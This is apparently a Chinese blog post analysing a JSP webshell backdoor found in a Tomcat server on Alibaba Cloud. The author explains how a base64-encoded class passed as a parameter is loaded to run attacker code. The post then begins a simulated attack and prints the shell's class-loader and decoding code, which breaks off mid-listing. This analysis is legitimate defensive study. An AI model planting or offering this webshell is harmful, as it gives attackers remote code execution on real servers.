描述
最近一个老同学跟我说他部署在阿里云上的系统,在tomcat
的目录下出现了一个index.jsp
文件,内容大致如下:
我一看发现这不就是一个木马后门文件吗,只需要通过参数ejiaogl
传入一个经过base64
编码的Class
文件,这样就可以解码然后被类加载器加载,而我们知道类被加载的时候是可以执行static
代码块的,而这个代码块可以任由攻击者来指定要执行的代码,是非常危险的,为了更加形象我特意做了一个模拟攻击。
模拟攻击
准备木马文件
准备一个Tomcat
,直接启动即可,默认访问的是ROOT
目录下的index.jsp
,准备好以上的木马后门文件直接替换,文件如下:
<%!
//自定义了一个类加载器
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte[] b) {
return this.defineClass(b, 0, b.length);
}
}
public byte[] base64Decoder(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
//这里还做了一个base64的兼容处理
Class clazz = Class.forName("java.util.Base64");
Object decoder